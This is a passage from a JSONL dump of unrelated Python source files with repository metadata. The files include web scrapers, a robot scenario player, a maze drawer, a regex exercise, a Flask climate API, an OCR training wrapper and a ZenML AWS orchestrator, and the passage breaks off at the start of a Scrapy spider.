headers=headers)\r\n r.raise_for_status()\r\n r.encoding = r.apparent_encoding\r\n return r.text\r\n except:\r\n return \"爬取失败\"\r\n\r\ndef main(link, referer):\r\n headers = {\r\n 'Host': 'jobs.51job.com',\r\n 'Referer': referer,\r\n 'Upgrade-Insecure-Requests': '1',\r\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36'\r\n }\r\n r = getHTMLText(link, headers)\r\n soup = BeautifulSoup(r, \"html.parser\")\r\n job_msg = soup.find('div', attrs={'class': 'bmsg job_msg inbox'})\r\n str = \"**\"\r\n\r\n for child in job_msg.children:\r\n if child.name == 'p' and child.string != None:\r\n print(child.string)\r\n # num+=1\r\n str += child.string\r\n\r\n # elif child.name != 'p':\r\n # break\r\n print(str)\r\n\r\nif __name__ == '__main__':\r\n url = \"https://jobs.51job.com/hefei-ssq/111340871.html?s=01&t=0\"\r\n referer = \"https://search.51job.com/list/000000,000000,0000,00,9,99,java,2,1.html?lang=c&stype=1&postchannel=0000&workyear=99&cotype=99°reefrom=99&jobterm=99&companysize=99&lonlat=0%2C0&radius=-1&ord_field=0&confirmdate=9&fromType=&dibiaoid=0&address=&line=&specialarea=00&from=&welfare=\"\r\n main(url, referer)\r\n","sub_path":"爬取拉钩职位.py","file_name":"爬取拉钩职位.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"544618056","text":"import sys\nimport os\nsys.path.append('/home/pi/beo/Modules/Movements')\nsys.path.append('/home/pi/beo/Tools/motionEditor')\nfrom Movements import Movements\nfrom Audio import Audio\nfrom motion import Motion\nfrom Wheels import Wheels\n#from Eyes import Eyes\nimport io\nimport pickle\nfrom threading import Thread\nimport thread\nimport time\nimport json\nimport numpy as np\nfrom pydub import AudioSegment\nfrom pydub.playback import play\nimport pygame\n\npygame.mixer.init()\n\nmovements = Movements()\nmotion = Motion()\nwheels = Wheels()\n#eyes = Eyes()\naudio = Audio()\n\nclass Scenario():\n\tdef __init__(self):\n\t\tself.filename = ''\n\t\tself.wait = 0\n\n\tdef unicode_to_dict(self, motionList):\n\t\tmotion = []\n\t\tfor i in motionList:\n\t\t\tpose = {}\n\t\t\tfor j in i.keys():\n\t\t\t\tpose[int(j)] = i[j]\n\t\t\tmotion.append(pose)\n\t\treturn motion\n\n\tdef load(self, filename):\n\t\tthefile = open(filename, 'r')\n\t\tself.filename = os.path.basename(thefile.name)\n\t\tprint(self.filename)\n\t\treturn(pickle.load(thefile))\n\t\n\tdef edit_custom(self, scenario):\n\t\tfor i, item in enumerate(scenario):\n\t\t\tif(item['action'] == 'custom'):\n\t\t\t\ttype = input('What custom item would you like to input? 1) audio: ')\n\t\t\t\tif(type == 1):\n\t\t\t\t\ttype = 'audio'\n\t\t\t\t\tfile = input('Input the mp3 file location with name: ')\n\t\t\t\t\twait = input('Wait for this to finish before continuing scenario? 1) yes, 0) no: ')\n\t\t\t\tprint(\"Custom type: \", type, \" Path: \", file)\n\t\t\t\tyesno = input('Is the given data correct? 1) yes, 0) no: ')\n\t\t\t\tif(yesno):\n\t\t\t\t\tscenario[i] = {\"data\": {\"data\": file, \"wait\": wait}, \"action\": type}\n\t\t\t\t\tthefile = open('./scenarios/' + self.filename, 'w')\n\t\t\t\t\tpickle.dump(scenario, thefile)\n\t\t\t\t\tthefile.close()\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Please start again\")\n\t\n\tdef play_scenario(self, scenario):\n\t\tta = ts = tw = tm = 0\n\t\tfor i, item in enumerate(scenario):\n\t\t\tif(item['action'] == 'play_motion'):\n\t\t\t\ttm = Thread(target=self.play_motion, args=(item[\"data\"], 0))\n\t\t\t\ttm.start()\n\t\t\t\tprint(\"Playing motion, \", i)\n\t\t\t\t#thread.start_new_thread(self.play_motion, (item[\"data\"], 0))\t\t\t\n\t\t\telif(item['action'] == 'play_speech'):\n\t\t\t\tts = Thread(target=self.play_speech, args=(item[\"data\"], 0))\n\t\t\t\tts.start()\n\t\t\t\tprint(\"Playing speech, \", i)\n\t\t\t\t#thread.start_new_thread(self.play_speech, (item[\"data\"], 0))\n\t\t\telif(item['action'] == 'rotate_wheels'):\n\t\t\t\ttw = Thread(target= self.move_wheels, args=(item[\"data\"], 0))\n\t\t\t\ttw.start()\n\t\t\t\tprint(\"Rotating wheels\", i)\n\t\t\t\t#thread.start_new_thread(self.move_wheels, (item[\"data\"], 0))\n\t\t\telif(item['action'] == 'sleep'):\n\t\t\t\tprint(\"Sleeping\", i)\n\t\t\t\tself.sleep(item[\"data\"])\n\t\t\telif(item[\"action\"] == \"set_expression\"):\n\t\t\t\tself.set_expression(item[\"data\"])\n\t\t\telif(item[\"action\"] == 'audio'):\n\t\t\t\tif(ta): ta.join()\n\t\t\t\tif(tm): tm.join()\n\t\t\t\tif(ts): ts.join()\n\t\t\t\tif(tw): tw.join()\n\t\t\t\tself.wait = item[\"data\"][\"wait\"]\n\t\t\t\t#ta = Thread(target=self.play_mp3, args=(item[\"data\"][\"data\"], 0))\n\t\t\t\t#ta.start()\n\t\t\t\tself.play_mp3(item[\"data\"][\"data\"])\n\n\tdef play_mp3(self, data):\n\t\tpygame.mixer.music.load(data)\n\t\tpygame.mixer.music.play(loops=0)\n\t\tprint(\"Playing audio\")\n\t\tif(self.wait):\n\t\t\twhile(pygame.mixer.music.get_busy()):\n\t\t\t\tpass\n\n\tdef play_motion(self, data, sla):\n\t\tmotion.keyframes = self.unicode_to_dict(data)\n\t\ttry:\n\t\t\tmovements.play_motion(motion)\n\t\texcept:\n\t\t\tpass\t\t\n\n\tdef sleep(self, ms):\n\t\ttime.sleep(ms/1000)\n\n\tdef play_speech(self, speech, sla):\n\t\ta = np.array(speech, dtype=\"uint8\")\n\t\ts = AudioSegment.from_file(io.BytesIO(a), format=\"mp3\")\n\t\tplay(s)\n\n\tdef move_wheels(self, data, sla):\n\t\tdirection = 10\n\t\tif(data[\"direction\"] == \"forwards\"):\n\t\t\tdirection = 12\n\t\telif(data[\"direction\"] == \"backwards\"):\n\t\t\tdirection = 8\n\t\tprint(direction, data['direction'])\n\t\tif(data[\"wheel\"] == \"left\"):\n\t\t\twheels.move_wheel_left(direction)\n\t\telif(data[\"wheel\"] == \"right\"):\n\t\t\twheels.move_wheel_right(direction)\n\t\telif(data[\"wheel\"] == \"both\"):\n\t\t\twheels.move(direction)\n\n\t\ttime.sleep(data[\"duration\"]/1000)\n\t\ttry:\n\t\t\twheels.move(10)\n\t\texcept:\n\t\t\tpass\n\n\tdef set_expression(self, expression):\n\t\teyes.set_expression(expression.lower())\n\n\ns = Scenario()\nteste = s.load('./scenarios/custom_semsleep.sbeo')\ns.edit_custom(teste)\nteste = s.load('./scenarios/custom_semsleep.sbeo')\ns.play_scenario(teste)\ntime.sleep(1)\nmovements.disable_all_joints()\n","sub_path":"scripts/scenario_reader2.py","file_name":"scenario_reader2.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"191100745","text":"import sys\nx = int(input(\"x: \"))\ny = int(input(\"y: \"))\ntry:\n result=x/y\nexcept ZeroDivisionError:\n print(\"Error: Cannot divided by 0.\")\n sys.exit(1)\n\nprint(f\"{x} / {y} = {result} \")\n","sub_path":"exceptions1.py","file_name":"exceptions1.py","file_ext":"py","file_size_in_byte":191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"559638339","text":"import turtle, math, goal, walker\n\nfrom random import randint\n\nclass Maze:\n \"\"\" Maze class for representing a checkers-board-like maze made up of squares. \"\"\"\n\n def __init__(self, columns, rows):\n \"\"\" Create a new maze with 'columns' columns and 'rows' rows \"\"\"\n #print \"width:\", maze_drawer.window_width()\n #print \"height:\", maze_drawer.window_height()\n\n if columns % 2 == 0 or rows % 2 == 0: # even numbers given as parameters - not good!\n raise ValueError(\"maze init: Both numbers of columns/rows of the maze need to be ODD not even.\")\n\n self.columns = columns # the width of the maze (number of squares)\n self.rows = rows # the height of the maze (number of squares)\n\n self.blockers = dict() # containing all the non-empty squares (\"blockers\") in the maze\n self.wall_color = \"red\"\n self.bridge_color = \"skyblue\"\n\n self.blockers[self.wall_color] = []\n self.blockers[self.bridge_color] = []\n \n maze_drawer = turtle.Turtle()\n maze_drawer.hideturtle()\n screen = turtle.Screen()\n\n window_width = 400\n window_height = 400\n screen.setup(width=window_width, height=window_height)\n\n self.square_size = 0.7 * min(window_width, window_height) / max(columns, rows)\n\n maze_drawer.setheading(0)\n maze_drawer.speed(10)\n maze_drawer.clear()\n maze_drawer.penup()\n \n self.init_x = -window_width * 0.35\n self.init_y = window_height * 0.35\n \n x = self.init_x\n y = self.init_y\n maze_drawer.goto(x, y)\n \n #maze_drawer.tracer(10) # accelerate drawing\n \n for r in range(rows + 1):\n maze_drawer.pendown()\n maze_drawer.goto(maze_drawer.xcor() + columns * self.square_size, maze_drawer.ycor())\n maze_drawer.penup()\n y = y - self.square_size\n maze_drawer.goto(x, y)\n \n x = -window_width * 0.35\n y = window_height * 0.35\n maze_drawer.goto(x, y)\n \n for c in range(columns + 1):\n maze_drawer.pendown()\n maze_drawer.goto(maze_drawer.xcor(), maze_drawer.ycor() - rows * self.square_size)\n maze_drawer.penup()\n x = x + self.square_size\n maze_drawer.goto(x, y)\n\n # create a turtle for marking blocked tiles:\n block_coord = self.square_size / 2\n self.screen = turtle.Screen()\n self.screen.register_shape(\"tile\", ((-block_coord, -block_coord ), (block_coord,-block_coord), (block_coord,block_coord), (-block_coord,block_coord)))\n self.maze_blocker = turtle.Turtle()\n self.maze_blocker.hideturtle()\n\n self.maze_blocker.shape(\"tile\")\n self.maze_blocker.penup()\n\n\n \n # fill in (block off) a square/tile of the maze at (column, row) - or (x, y)\n # (1, 1) is the top-left square/block/tile\n\n def block_square(self, column, row, block_type):\n\n if column > self.columns or row > self.rows:\n raise ValueError(\"block_square(): The number of columns/rows doesn't match the size of the maze.\")\n\n if block_type == \"bridge\":\n color = self.bridge_color\n else:\n color = self.wall_color\n \n if [column, row] in self.blockers[color]:\n raise ValueError(\"block_square(): The square at (\" + str(column) + \",\" + str(row) + \") is already blocked/colored \" + color)\n\n self.maze_blocker.penup()\n self.maze_blocker.color(color)\n self.maze_blocker.goto(self.init_x + (column - 0.5) * self.square_size, self.init_y - (row - 0.5) * self.square_size)\n self.maze_blocker.stamp()\n \n if color not in self.blockers:\n self.blockers[color] = [ [column, row] ]\n else:\n self.blockers[color].append( [column, row] )\n #print self.blockers\n\n\n def block_squares(self, n_walls, n_bridges, excluded_blocks):\n if n_walls + n_bridges > (self.columns * self.rows - 2):\n raise ValueError(\"block_squares(): The number of blocked squares is too large for the size of the maze.\")\n\n for wall in range(n_walls):\n column = randint(1, self.columns)\n row = randint(1, self.rows)\n #while ([column, row] in self.blockers[self.wall_color]) or (column == goal_column and row == goal_row) or (column == walker_column and row == walker_row):\n while ([column, row] in self.blockers[self.wall_color]) or ( [column, row] in excluded_blocks ):\n column = randint(1, self.columns)\n row = randint(1, self.rows)\n #print \"block at:\", column, row\n self.block_square(column, row, \"wall\")\n \n for bridge in range(n_bridges):\n column = randint(1, self.columns)\n row = randint(1, self.rows)\n while ([column, row] in self.blockers[self.wall_color]) or ([column, row] in self.blockers[self.bridge_color]) or ( [column, row] in excluded_blocks ):\n column = randint(1, self.columns)\n row = randint(1, self.rows)\n self.block_square(column, row, \"bridge\")\n \n \n def get_square_size(self):\n return self.square_size\n \n \n def get_columns(self):\n return self.columns\n \n def get_rows(self):\n return self.rows\n \n def get_blockers(self):\n return self.blockers\n\n def get_init_x(self):\n return self.init_x\n \n def get_init_y(self):\n return self.init_y\n \n def update_display(self):\n self.screen.update() # update the display which may be missing shapes due to tracer() acceleration.\n\n \n \n","sub_path":"Recursive Maze Walking/Maze Walking/maze.py","file_name":"maze.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"413704503","text":"import csv\nimport re\n\n\ndef main():\n faculty = read_file_to_list()\n degree_frequencies = count_patterns(faculty, 'degree', get_degree_patterns())\n print('There are ' + str(len(degree_frequencies.keys())) + ' different degrees. With following frequencies:')\n print_frequencies(degree_frequencies, 'Degrees')\n title_frequencies = count_patterns(faculty, 'title', get_title_patterns(faculty))\n print('There are ' + str(len(title_frequencies.keys())) + ' different titles. With following frequencies:')\n print_frequencies(title_frequencies, 'Titles')\n print_emails(faculty)\n print_domains(faculty)\n\n\ndef print_emails(faculty):\n print('Email Addresses:')\n for record in faculty:\n print(record['email'])\n\n\ndef print_domains(faculty):\n domains = set(get_domain(record['email']) for record in faculty)\n print('There are ' + str(len(domains)) + ' domains')\n for domain in domains:\n print(domain)\n\n\ndef get_domain(email):\n return email.split('@')[1]\n\n\ndef print_frequencies(frequencies, name):\n col_width = max(len(key) for key in frequencies.keys()) + 2\n row_format = '{:<' + str(col_width) + '} {:<11}'\n print(row_format.format(name, 'Frequencies'))\n for item in frequencies:\n print(row_format.format(item, frequencies[item]))\n\n\ndef read_file_to_list():\n with open('faculty.csv') as csvFile:\n reader = csv.DictReader(csvFile)\n return [trim_row(row) for row in reader]\n\n\ndef trim_row(row):\n return {item.strip(): row[item].strip() for item in row}\n\n\ndef count_patterns(faculty, column_name, patterns):\n frequencies = {}\n for record in faculty:\n for pattern_name in patterns:\n if re.search(patterns[pattern_name], record[column_name]):\n frequencies[pattern_name] = frequencies.get(pattern_name, 0) + 1\n return frequencies\n\n\ndef pattern_const(letters):\n return r'(' + '\\.?'.join(letters) + ')'\n\n\ndef get_degree_patterns():\n return {'Ph.D.': pattern_const(('Ph', 'D')),\n 'Sc.D.': pattern_const(('Sc', 'D')),\n 'MD': pattern_const(('M', 'D')),\n 'M.S.': pattern_const(('M', 'S')),\n 'B.S.': pattern_const(('B', 'S')),\n 'B.S.Ed.': pattern_const(('B', 'S', 'Ed')),\n 'JD': pattern_const(('J', 'D')),\n 'MPH': pattern_const(('M', 'P', 'H'))\n }\n\n\ndef get_title_patterns(faculty):\n titles = set(clean_title(row['title']) for row in faculty)\n return {title: r'^(' + title + ')$' for title in titles}\n\n\ndef clean_title(title):\n return title.replace(' is ', ' of ')\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"python/advanced_python_regex.py","file_name":"advanced_python_regex.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"151859363","text":"import sys\ninput = sys.stdin.readline\nINF = sys.maxsize\n\nN = int(input())\nnum_list = list(map(int, input().split()))\nnum_list.sort()\n\nleft = 0\nright = N - 1\n\nanswer = INF\nresult = []\n\nwhile left < right:\n num_left = num_list[left]\n num_right = num_list[right]\n\n num = num_left + num_right\n if abs(num) < answer:\n answer = abs(num)\n result = [num_left, num_right]\n\n if num < 0:\n left += 1\n else:\n right -= 1\n\nprint(result[0], result[1])\n\n\"\"\"\n풀이\n리스트의 처음과 끝에서 하나씩 인덱스를 줄여가면서 0이 되는지 확인한다.\n\n처음 생각\n1. 입력값의 절댓값에 로그를 씌워서 리스트를 분류해서 끼리끼리 수를 비교해야하나?\n2. 그냥 +와 -로 분류해서 정렬해서 수를 비교하는게 나을 것 같다\n3. +와 -가 섞여서 들어오면 잘 될 거 같은데 +만 들어오거나 -만 들어오면 안돼서 이분탐색으로 해봄\n4. 구글링...\n \n첫번째 코드\n전부 탐색해야해서 당연히 시간 초과가 날 거 같았지만 해봤다.\nfor num in num_list:\n if num > 0:\n plus_list.append(num)\n else:\n minus_list.append(num)\n\nplus_list.sort()\nminus_list.sort(reverse=True)\n\nfor n1 in plus_list:\n tmp = INF\n for n2 in minus_list:\n if tmp > abs(n1 + n2):\n tmp = n1 + n2\n result = (n1, n2)\n\n두 번째 코드\n이것도 시간 초과가 날 것 같았는데 이건 메모리 초과가 났다.\nfor num in num_list:\n if num > 0:\n plus_list.append(num)\n else:\n minus_list.append(num)\n\nplus_list.sort()\nminus_list.sort(reverse=True)\nresult = []\nfor n1 in plus_list:\n tmp = INF\n for n2 in minus_list:\n if tmp > abs(n1 + n2):\n tmp = n1 + n2\n result.append((tmp, n1, n2))\n else:\n break\nresult.sort()\nprint(result[0][1], result[0][2])\n세 번째 코드\n이진 탐색으로 입력값에 -1을 곱한 값을 찾아서 해당 값이 있으면 그 숫자를 출력하고, 없으면 그 숫자에 가까운 숫자를 출력하게 했다.\n거의 다 했는데 같은 숫자를 출력하게 하는 경우가 있어서 포기했다. ex) -98 -97 1 일 때 1 1을 출력함...\n같은 숫자가 나올 때 if 문으로 다시 비교하면 되긴하는데 그러면 코드가 너무 복잡해질 거 같아서 그냥 답을 봤다...\n사실 아래 코드는 0 뺴고는 잘 작동하는데 입력으로 0 들어왔을 때 또 if 문 쓰기 싫었다. 너무 땜빵용 코드 같아서\n\ndef binary_search(num_list, num):\n start, end = 0, len(num_list) - 1\n while start <= end:\n mid = (start + end) // 2\n if num == num_list[mid]:\n return num_list[mid]\n if num > num_list[mid]:\n start = mid + 1\n else:\n end = mid - 1\n\n if start == len(num_list):\n return num_list[-1]\n elif end == -1:\n return num_list[0]\n else:\n if -num == num_list[start] and start + 1 < len(num_list):\n start += 1\n else:\n start = end\n if abs(num_list[start] - num) > abs(num_list[end] - num):\n return num_list[end]\n else:\n return num_list[start]\n\"\"\"\n\n","sub_path":"season2/season2/week4/minkyu/2470.py","file_name":"2470.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"273349814","text":"import os\nfrom flask import Blueprint, render_template\n\ndef list_files_for_index(start_path, prefix='.'):\n ret = []\n for r,d,f in os.walk(start_path):\n dir_list = []\n for f_name in f:\n if f_name.endswith(\".html\"):\n file_path = os.path.join(r,f_name)\n file_path = prefix + file_path.replace(start_path, '',1)\n dir_list.append(file_path)\n if len(dir_list):\n dir_list.sort()\n ret.append(dir_list)\n ret.sort(key = lambda item: item[0])\n return ret\n\nnoc_bp = Blueprint('noc_bp', __name__, static_folder='files', template_folder='templates')\n\nfile_list = list_files_for_index(noc_bp.static_folder, prefix='files')\n\n@noc_bp.route('/')\ndef index():\n return render_template('noc/index.html', file_list=file_list)\n\n","sub_path":"noc/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"597344585","text":"import pandas as pd\nimport datetime as dt \nimport numpy as np\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nfrom flask import Flask, jsonify\n\n#Create engine\n\nengine = create_engine(\"sqlite:///Resources/hawaii.sqlite\")\n\n#reflect \n\nbase = automap_base()\n\nbase.prepare(engine, reflect=True)\n\nmeasurment = base.classes.measurment\nstation= base.classes.station\n\n#Create session(link python to db)\n\nsession = Session(engine)\n\n#setting up flask\n\ncli_app = Flask(__name__)\n\n#define the routes\n\n@cli_app.route(\"/\")\ndef Welcome_page():\n return (\n f\"Welcome to Tropical Hawaiian Climate Analysis!!!
\" \n f\"Pathways to Discover
\"\n f\"/precipitation_data\"\n f\"/station_data\"\n f\"/temperature_observed\"\n )\n\n@cli_app.route(\"/precipitation_data\")\ndef precipitation_data():\n #date for previous year\n prev_year = dt.date(2017,8,23)-dt.timedelta(days=365)\n preci_scores = session.query(measurement.date,measurement.prcp).\\\n filter(measurement.date>=prev_year).all()\n #create a dict. with date as key and pre as value\n prec = {date: prcp for date, prcp in preci_score}\n return jsonify(prec)\n\n@cli_app.route(\"/station_data\")\ndef station_data():\n sta = session.query(func.count(station.station)).all()\n sta_new = list(np.ravel(sta))\n return jsonify(sta_new)\n\n@cli_app.route(\"/temperature_observed\")\ndef temperature_observed():\n prev_year = dt.date(2017,8,23)-dt.timedelta(days=365)\n new_save = session.query(measurement.tobs).\\\n filter(measurement.station == 'USC00519281').\\\n filter(measurement.date >= prev_year).all()\n temp = list(np.ravel(new_save))\n return jsonify(temp)\n\nif __name__==\"__main__\":\n cli_app.run()","sub_path":"budget.py","file_name":"budget.py","file_ext":"py","file_size_in_byte":1792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"481681736","text":"#! /usr/local/bin/python\n\n# Purpose: train the model based on provided trainning data\n# Input : model_dir : directory for saving trained model \n# train_dir : directories for all training data\n# validation_dir: directory for validation data\n# WorkFlow:\n# - check model_dir existence, if not, create one\n# - check train_dir existence and not empty, if not, report error\n# - check validation_dir existence and not empty, if not, report error\n# - call do_train_task()\n\nimport glob, argparse, os\nNETWORK_CMD = ' --network \"cnn=80:3x3,pool=2x2,cnn=120:3x3,pool=2x2,cnn=140:3x3,pool=1x1,cnn=160:3x3,pool=1x1,lstm=200,dropout=0.5\" '\n\nS_CMD_W_VAL = 'calamari-cross-fold-train --num_threads 10 --batch_size 100 --files \"%s\" --early_stopping_nbest 10 --n_augmentations 0 --best_models_dir %s --n_folds 3 --max_parallel_models 1' + NETWORK_CMD\n\ndef usage():\n print(\"Usage: \")\n print(\" multi-model training & validation mode: \")\n print(\" train_dataset_m.py -m -d -v \")\n print(\"Sample:\")\n print(\" train_dataset_m.py -m /mymodel -d /data1,/data2 -v /validation\")\n\n# rm -fr /tmp/train_data /tmp/validation_data\n# create /tmp/train_data directory, and link all trained data to it\n# create /tmp/validate_data directory, and link all validation data to it\ndef do_train_task(model_dir, train_dirs, validation_dir, max_iters):\n # link all trained data\n os.system(\"rm -fr /tmp/train_data \")\n os.system(\"mkdir -p /tmp/train_data \")\n for td in train_dirs:\n for root, dirs, files in os.walk(td, followlinks=True):\n for f in files:\n name, ext = os.path.splitext(f)\n if ext == \".png\": # this is train data\n src_img_file_path = os.path.join(root, name + \".png\")\n src_gt_file_path = os.path.join(root, name + \".gt.txt\")\n cmd_line = \"ln -s %s %s > /dev/null 2>&1\" % (src_img_file_path, \"/tmp/train_data/\")\n os.system(cmd_line)\n cmd_line = \"ln -s %s %s > /dev/null 2>&1\" % (src_gt_file_path, \"/tmp/train_data/\")\n os.system(cmd_line)\n\n # link all validation data\n if validation_dir != None:\n os.system(\"rm -fr /tmp/validation_data\")\n os.system(\"mkdir -p /tmp/validation_data\")\n for root, dirs, files in os.walk(validation_dir, followlinks=True):\n for f in files:\n name, ext = os.path.splitext(f)\n if ext == \".png\": \n src_img_file_path = os.path.join(root, name + \".png\")\n src_gt_file_path = os.path.join(root, name + \".gt.txt\")\n cmd_line = \"ln -s %s %s > /dev/null 2>&1\" % (src_img_file_path, \"/tmp/validation_data/\")\n os.system(cmd_line)\n cmd_line = \"ln -s %s %s > /dev/null 2>&1\" % (src_gt_file_path, \"/tmp/validation_data/\")\n os.system(cmd_line)\n\n # start to train\n cmd_line = S_CMD_W_VAL % (\"/tmp/train_data/*.png\", model_dir)\n os.system(cmd_line)\n\ndef main():\n ap = argparse.ArgumentParser()\n ap.add_argument(\"-i\", \"--max_iters\", type=int, help=\"iteration number each epoch\", default=50000)\n ap.add_argument(\"-m\", \"--model_dir\", type=str, help=\"path to save model\")\n ap.add_argument(\"-d\", \"--train_dir\", type=str, help=\"path to training data directory\")\n ap.add_argument(\"-v\", \"--validation_dir\", type=str, help=\"path to validation data directory\", default=None)\n \n args = vars(ap.parse_args())\n \n model_dir = args[\"model_dir\"]\n train_dir = args[\"train_dir\"]\n validation_dir = args[\"validation_dir\"]\n max_iters = args[\"max_iters\"]\n \n if model_dir == None or train_dir == None:\n usage()\n return\n \n # print(\"model dir = \" , model_dir)\n # print(\"train_dir = \" , train_dir)\n # print(\"validation_dir = \", validation_dir)\n\n if not os.path.exists(model_dir):\n try: \n os.mkdir(model_dir)\n except Exception as e:\n print(str(e))\n return \n\n if validation_dir != None and not os.path.exists(validation_dir):\n print(\"validation_dir is not exists: %s\" % validation_dir)\n return\n\n train_dirs = train_dir.split(\",\")\n for td in train_dirs:\n if not os.path.exists(td):\n print(\"train_dir is not exists: %s\" % td)\n return\n\n do_train_task(model_dir, train_dirs, validation_dir, max_iters)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"script/calamari_data_tools/train_dataset_m.py","file_name":"train_dataset_m.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"629427797","text":"# Copyright (c) maiot GmbH 2021. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n# or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\"\"\"Orchestrator for simple AWS VM backend\"\"\"\n\nimport os\nimport time\nfrom typing import Text, Dict, Any\n\nfrom zenml.backends.orchestrator.aws import utils\nfrom zenml.backends.orchestrator import OrchestratorBaseBackend\nfrom zenml.repo import Repository\nfrom zenml.standards import standard_keys as keys\nfrom zenml.utils import path_utils\nfrom zenml.constants import ZENML_BASE_IMAGE_NAME\nfrom zenml.logger import get_logger\n\nlogger = get_logger(__name__)\n\nEXTRACTED_TAR_DIR_NAME = 'zenml_working'\nSTAGING_AREA = 'staging'\nTAR_PATH_ARG = 'tar_path'\n\n\nclass OrchestratorAWSBackend(OrchestratorBaseBackend):\n \"\"\"\n Orchestrates pipeline on a AWS EC2 instance\n \"\"\"\n\n def __init__(self,\n iam_role: Text,\n instance_type: Text = 't2.micro',\n instance_image: Text = 'ami-02e9f4e447e4cda79',\n zenml_image: Text = None,\n region: Text = None,\n key_name: Text = None,\n security_group: Text = None,\n min_count: int = 1,\n max_count: int = 1,\n **kwargs):\n \"\"\"\n Base class for the orchestrator backend on AWS\n\n :param iam_role: the name of the role created in AWS IAM\n :param instance_type: the type of the EC2 instance, defaults to\n t2.micro\n :param instance_image: the image for the EC2 instance, defaults to the\n public image: Deep Learning AMI (Amazon Linux 2) Version 39.0\n :param zenml_image: refers to the image with ZenML\n :param region: the name of the region that AWS is working on\n :param key_name: the name of the key to be used whilst creating the\n instance on EC2\n :param security_group: the name of a selected security group\n :param min_count: the minimum number of instances, defaults to 1\n :param max_count: the maximum number of instances, defaults to 1\n \"\"\"\n\n self.session = utils.setup_session()\n self.region = utils.setup_region(region)\n\n self.ec2_client = self.session.client('ec2')\n self.ec2_resource = self.session.resource('ec2')\n\n self.instance_type = instance_type\n self.instance_image = instance_image\n self.zenml_image = zenml_image\n self.key_name = key_name\n self.min_count = min_count\n self.max_count = max_count\n\n if security_group is not None:\n self.security_group = [security_group]\n else:\n self.security_group = security_group\n\n self.iam_role = {'Name': iam_role}\n\n if zenml_image is None:\n self.zenml_image = ZENML_BASE_IMAGE_NAME\n else:\n self.zenml_image = zenml_image\n\n super(OrchestratorBaseBackend, self).__init__(\n instance_type=self.instance_type,\n instance_image=self.instance_image,\n zenml_image=self.zenml_image,\n region=self.region,\n key_name=self.key_name,\n min_count=self.min_count,\n max_count=self.max_count,\n security_group=self.security_group,\n iam_role=self.iam_role,\n **kwargs,\n )\n\n @staticmethod\n def make_unique_name(name):\n return f'{name}-{time.asctime()}'\n\n def launch_instance(self, config):\n startup = utils.get_startup_script(config,\n self.region,\n self.zenml_image)\n\n args = {'ImageId': self.instance_image,\n 'InstanceType': self.instance_type,\n 'IamInstanceProfile': self.iam_role,\n 'MaxCount': self.max_count,\n 'MinCount': self.min_count,\n 'UserData': startup}\n\n if self.security_group:\n args['SecurityGroups'] = self.security_group\n\n if self.key_name:\n args['KeyName'] = self.key_name\n\n return self.ec2_resource.create_instances(**args)\n\n def run(self, config: [Dict, Any]):\n # Extract the paths to create the tar\n logger.info('Orchestrating pipeline on AWS..')\n\n repo: Repository = Repository.get_instance()\n repo_path = repo.path\n config_dir = repo.zenml_config.config_dir\n tar_file_name = \\\n f'{EXTRACTED_TAR_DIR_NAME}_{str(int(time.time()))}.tar.gz'\n path_to_tar = os.path.join(config_dir, tar_file_name)\n\n # Create tarfile but exclude .zenml folder if exists\n path_utils.create_tarfile(repo_path, path_to_tar)\n logger.info(f'Created tar of current repository at: {path_to_tar}')\n\n # Upload tar to artifact store\n store_path = config[keys.GlobalKeys.ARTIFACT_STORE]\n store_staging_area = os.path.join(store_path, STAGING_AREA)\n store_path_to_tar = os.path.join(store_staging_area, tar_file_name)\n path_utils.copy(path_to_tar, store_path_to_tar)\n logger.info(f'Copied tar to artifact store at: {store_path_to_tar}')\n\n # Remove tar\n path_utils.rm_dir(path_to_tar)\n logger.info(f'Removed tar at: {path_to_tar}')\n\n # Append path of tar in config orchestrator utils\n config[keys.GlobalKeys.BACKEND][keys.BackendKeys.ARGS][\n TAR_PATH_ARG] = store_path_to_tar\n\n # Launch the instance\n self.launch_instance(config)\n","sub_path":"zenml/backends/orchestrator/aws/orchestrator_aws_backend.py","file_name":"orchestrator_aws_backend.py","file_ext":"py","file_size_in_byte":5938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"120878588","text":"import scrapy\nimport urllib.parse\n\n\n#scrapy crawl amazon-reviews-spider -a product_id=XXXXXXXX -o out.csv\n#example product id B074VLX5XV\n#scrapy crawl amazon-reviews-spider -a product_id=B074VLX5XV\n\n\nclass Amazon_Reviews_Spider(scrapy.Spider):\n 